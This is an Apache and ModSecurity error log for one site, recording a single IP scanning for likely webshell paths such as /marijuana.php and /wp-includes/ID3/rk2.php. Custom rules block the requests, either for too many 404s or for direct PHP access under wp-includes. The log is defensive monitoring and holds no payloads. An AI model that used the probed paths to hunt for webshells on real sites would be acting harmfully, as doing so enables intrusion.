[Tue Nov 25 05:17:58.207037 2025] [proxy_fcgi:error] [pid 14168:tid 14180] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:58.455743 2025] [proxy_fcgi:error] [pid 14168:tid 14177] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:58.695913 2025] [proxy_fcgi:error] [pid 14168:tid 14181] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:58.939202 2025] [proxy_fcgi:error] [pid 14168:tid 14190] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:59.200384 2025] [proxy_fcgi:error] [pid 14168:tid 14182] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:17:59.717852 2025] [proxy_fcgi:error] [pid 14168:tid 14173] [client 4.233.92.206:4917] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:18:01.332487 2025] [:error] [pid 14168:tid 14180] [client 4.233.92.206:4917] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aSTLifR-ZDU0QEgAIItvSAAAAMk"]
[Tue Nov 25 05:18:03.442177 2025] [:error] [pid 14168:tid 14190] [client 4.233.92.206:4394] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aSTLi_R-ZDU0QEgAIItvSgAAANM"]
[Tue Nov 25 05:18:04.665982 2025] [:error] [pid 14076:tid 14100] [client 4.233.92.206:4409] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aSTLjHsB4Gz6Qw-pvBsKdQAAABM"]
[Tue Nov 25 05:18:07.956136 2025] [:error] [pid 14168:tid 14187] [client 4.233.92.206:4908] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aSTLj_R-ZDU0QEgAIItvTgAAANA"]
[Tue Nov 25 05:18:12.117261 2025] [:error] [pid 14077:tid 14111] [client 4.233.92.206:4900] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aSTLlBG9n7UHEkwDTyhPOwAAAEE"]
[Tue Nov 25 05:18:13.619810 2025] [:error] [pid 14078:tid 14138] [client 4.233.92.206:4884] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aSTLldVXYbb0ii_rVoJKIQAAAIE"]
[Tue Nov 25 05:18:17.540265 2025] [:error] [pid 14076:tid 14090] [client 4.233.92.206:5076] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aSTLmXsB4Gz6Qw-pvBsKegAAAAk"]
[Tue Nov 25 05:18:19.460244 2025] [:error] [pid 14688:tid 14691] [client 4.233.92.206:4380] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aSTLm29vYrBoEsiDnizhkgAAAQE"]
[Tue Nov 25 05:18:20.882329 2025] [:error] [pid 14076:tid 14088] [client 4.233.92.206:4404] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "aSTLnHsB4Gz6Qw-pvBsKfgAAAAc"]
[Tue Nov 25 05:18:23.630925 2025] [:error] [pid 14078:tid 14160] [client 4.233.92.206:4924] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "aSTLn9VXYbb0ii_rVoJKJQAAAJc"]
[Tue Nov 25 05:18:25.357677 2025] [:error] [pid 14076:tid 14095] [client 4.233.92.206:4383] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "aSTLoXsB4Gz6Qw-pvBsKhQAAAA4"]
[Tue Nov 25 05:18:26.311741 2025] [:error] [pid 14168:tid 14177] [client 4.233.92.206:4387] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "aSTLovR-ZDU0QEgAIItvWgAAAMY"]
[Tue Nov 25 05:18:33.567145 2025] [:error] [pid 14168:tid 14184] [client 4.233.92.206:4897] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aSTLqfR-ZDU0QEgAIItveAAAAM0"]
[Tue Nov 25 05:18:36.989026 2025] [:error] [pid 1103:tid 1123] [client 4.233.92.206:5073] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aSTLrI0LETdqOlq63sT1GAAAAU4"]
[Tue Nov 25 05:18:40.056978 2025] [:error] [pid 14078:tid 14137] [client 4.233.92.206:5110] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aSTLsNVXYbb0ii_rVoJKTQAAAIA"]
[Tue Nov 25 05:18:42.260160 2025] [:error] [pid 1103:tid 1115] [client 4.233.92.206:4356] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/NewFile.php"] [unique_id "aSTLso0LETdqOlq63sT1IQAAAUY"]
[Tue Nov 25 05:18:55.636054 2025] [:error] [pid 1103:tid 1114] [client 4.233.92.206:4888] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aSTLv40LETdqOlq63sT1SQAAAUU"]
[Tue Nov 25 05:18:59.148954 2025] [proxy_fcgi:error] [pid 1103:tid 1110] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:18:59.415350 2025] [proxy_fcgi:error] [pid 1103:tid 1131] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:18:59.660301 2025] [proxy_fcgi:error] [pid 1103:tid 1116] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:18:59.907277 2025] [proxy_fcgi:error] [pid 1103:tid 1125] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:00.150312 2025] [proxy_fcgi:error] [pid 1103:tid 1122] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:00.857461 2025] [proxy_fcgi:error] [pid 1103:tid 1114] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:01.109164 2025] [proxy_fcgi:error] [pid 1103:tid 1128] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:01.381301 2025] [proxy_fcgi:error] [pid 1103:tid 1119] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:01.630241 2025] [proxy_fcgi:error] [pid 1103:tid 1132] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:01.879888 2025] [proxy_fcgi:error] [pid 1103:tid 1126] [client 4.233.92.206:5080] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:19:02.130044 2025] [:error] [pid 1103:tid 1110] [client 4.233.92.206:5080] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aSTLxo0LETdqOlq63sT1YwAAAUE"]
[Tue Nov 25 05:19:03.064563 2025] [:error] [pid 1103:tid 1131] [client 4.233.92.206:4355] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aSTLx40LETdqOlq63sT1ZwAAAVY"]
[Tue Nov 25 05:19:13.494859 2025] [:error] [pid 14077:tid 14118] [client 4.233.92.206:4398] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aSTL0RG9n7UHEkwDTyhQEgAAAEg"]
[Tue Nov 25 05:19:24.537794 2025] [:error] [pid 14168:tid 14175] [client 4.233.92.206:4866] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aSTL3PR-ZDU0QEgAIItv3gAAAMQ"]
[Tue Nov 25 05:19:38.823739 2025] [:error] [pid 14688:tid 14696] [client 4.233.92.206:4357] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSTL6m9vYrBoEsiDniziCAAAAQY"]
[Tue Nov 25 05:19:43.178598 2025] [:error] [pid 14077:tid 14111] [client 4.233.92.206:4405] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSTL7xG9n7UHEkwDTyhQMAAAAEE"]
[Tue Nov 25 05:19:44.747761 2025] [:error] [pid 14078:tid 14158] [client 4.233.92.206:5107] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSTL8NVXYbb0ii_rVoJKxQAAAJU"]
[Tue Nov 25 05:19:46.252109 2025] [:error] [pid 14688:tid 14694] [client 4.233.92.206:4388] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSTL8m9vYrBoEsiDniziDgAAAQQ"]
[Tue Nov 25 05:19:48.226393 2025] [:error] [pid 14168:tid 14183] [client 4.233.92.206:4362] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/function.php"] [unique_id "aSTL9PR-ZDU0QEgAIItv-AAAAMw"]
[Tue Nov 25 05:19:52.224215 2025] [:error] [pid 14168:tid 14171] [client 4.233.92.206:4399] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSTL-PR-ZDU0QEgAIItv_gAAAMA"]
[Tue Nov 25 05:19:57.426372 2025] [:error] [pid 1103:tid 1113] [client 4.233.92.206:4907] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aSTL_Y0LETdqOlq63sT1kgAAAUQ"]
[Tue Nov 25 05:20:00.113120 2025] [:error] [pid 14078:tid 14161] [client 4.233.92.206:4358] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/license.php"] [unique_id "aSTMANVXYbb0ii_rVoJKzwAAAJg"]
[Tue Nov 25 05:20:01.510771 2025] [proxy_fcgi:error] [pid 14688:tid 14695] [client 4.233.92.206:4896] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:01.760146 2025] [proxy_fcgi:error] [pid 14688:tid 14697] [client 4.233.92.206:4896] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:02.122897 2025] [proxy_fcgi:error] [pid 14688:tid 14705] [client 4.233.92.206:4896] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:02.363843 2025] [proxy_fcgi:error] [pid 14688:tid 14710] [client 4.233.92.206:4896] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:02.606892 2025] [proxy_fcgi:error] [pid 14688:tid 14700] [client 4.233.92.206:4896] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:03.344753 2025] [:error] [pid 14688:tid 14713] [client 4.233.92.206:4896] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSTMA29vYrBoEsiDniziHAAAARc"]
[Tue Nov 25 05:20:06.101009 2025] [proxy_fcgi:error] [pid 1103:tid 1124] [client 4.233.92.206:4895] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:06.341963 2025] [proxy_fcgi:error] [pid 1103:tid 1111] [client 4.233.92.206:4895] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 05:20:06.846453 2025] [:error] [pid 1103:tid 1119] [client 4.233.92.206:4895] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/marijuana.php"] [unique_id "aSTMBo0LETdqOlq63sT1nAAAAUo"]
[Tue Nov 25 05:20:07.755656 2025] [:error] [pid 14168:tid 14180] [client 4.233.92.206:4874] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/marijuana.php"] [unique_id "aSTMB_R-ZDU0QEgAIItwCQAAAMk"]
[Tue Nov 25 05:20:15.540835 2025] [:error] [pid 14688:tid 14695] [client 4.233.92.206:4880] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/marijuana.php"] [unique_id "aSTMD29vYrBoEsiDniziKwAAAQU"]
[Tue Nov 25 05:20:18.131808 2025] [:error] [pid 14078:tid 14140] [client 4.233.92.206:4891] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/marijuana.php"] [unique_id "aSTMEtVXYbb0ii_rVoJK2wAAAIM"]
[Tue Nov 25 05:20:21.254335 2025] [:error] [pid 14078:tid 14142] [client 4.233.92.206:5091] [client 4.233.92.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSTMFdVXYbb0ii_rVoJK4QAAAIU"]
[Tue Nov 25 05:20:22.375105 2025] [:error] [pid 1103:tid 1118] [client 4.233.92.206:4392] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aSTMFo0LETdqOlq63sT1pAAAAUk"]
[Tue Nov 25 05:20:25.812652 2025] [:error] [pid 14076:tid 14105] [client 4.233.92.206:4353] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aSTMGXsB4Gz6Qw-pvBsLDwAAABg"]
[Tue Nov 25 05:20:27.066972 2025] [:error] [pid 1103:tid 1132] [client 4.233.92.206:4889] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aSTMG40LETdqOlq63sT1rgAAAVc"]
[Tue Nov 25 05:20:33.340983 2025] [:error] [pid 14688:tid 14704] [client 4.233.92.206:4368] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aSTMIW9vYrBoEsiDniziOwAAAQ4"]
[Tue Nov 25 05:20:35.455885 2025] [:error] [pid 14077:tid 14129] [client 4.233.92.206:5092] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSTMIxG9n7UHEkwDTyhQSgAAAFM"]
[Tue Nov 25 05:20:37.122872 2025] [:error] [pid 1103:tid 1129] [client 4.233.92.206:4400] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSTMJY0LETdqOlq63sT1vAAAAVQ"]
[Tue Nov 25 05:20:39.147740 2025] [:error] [pid 14078:tid 14138] [client 4.233.92.206:4906] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSTMJ9VXYbb0ii_rVoJK7AAAAIE"]
[Tue Nov 25 05:20:45.367058 2025] [:error] [pid 14688:tid 14691] [client 4.233.92.206:4379] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSTMLW9vYrBoEsiDniziTAAAAQE"]
[Tue Nov 25 05:20:48.319334 2025] [:error] [pid 14168:tid 14181] [client 4.233.92.206:4370] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSTMMPR-ZDU0QEgAIItwJwAAAMo"]
[Tue Nov 25 05:20:51.118731 2025] [:error] [pid 14077:tid 14116] [client 4.233.92.206:5090] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSTMMxG9n7UHEkwDTyhQWAAAAEY"]
[Tue Nov 25 05:20:58.256126 2025] [:error] [pid 14168:tid 14176] [client 4.233.92.206:4923] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSTMOvR-ZDU0QEgAIItwMgAAAMU"]
[Tue Nov 25 05:21:00.659599 2025] [:error] [pid 14076:tid 14089] [client 4.233.92.206:4873] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSTMPHsB4Gz6Qw-pvBsLHQAAAAg"]
[Tue Nov 25 05:21:01.708589 2025] [:error] [pid 1103:tid 1133] [client 4.233.92.206:5081] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/marijuana.php"] [unique_id "aSTMPY0LETdqOlq63sT12QAAAVg"]
[Tue Nov 25 05:21:03.210134 2025] [:error] [pid 1103:tid 1111] [client 4.233.92.206:4403] [client 4.233.92.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/marijuana.php"] [unique_id "aSTMP40LETdqOlq63sT12gAAAUI"]
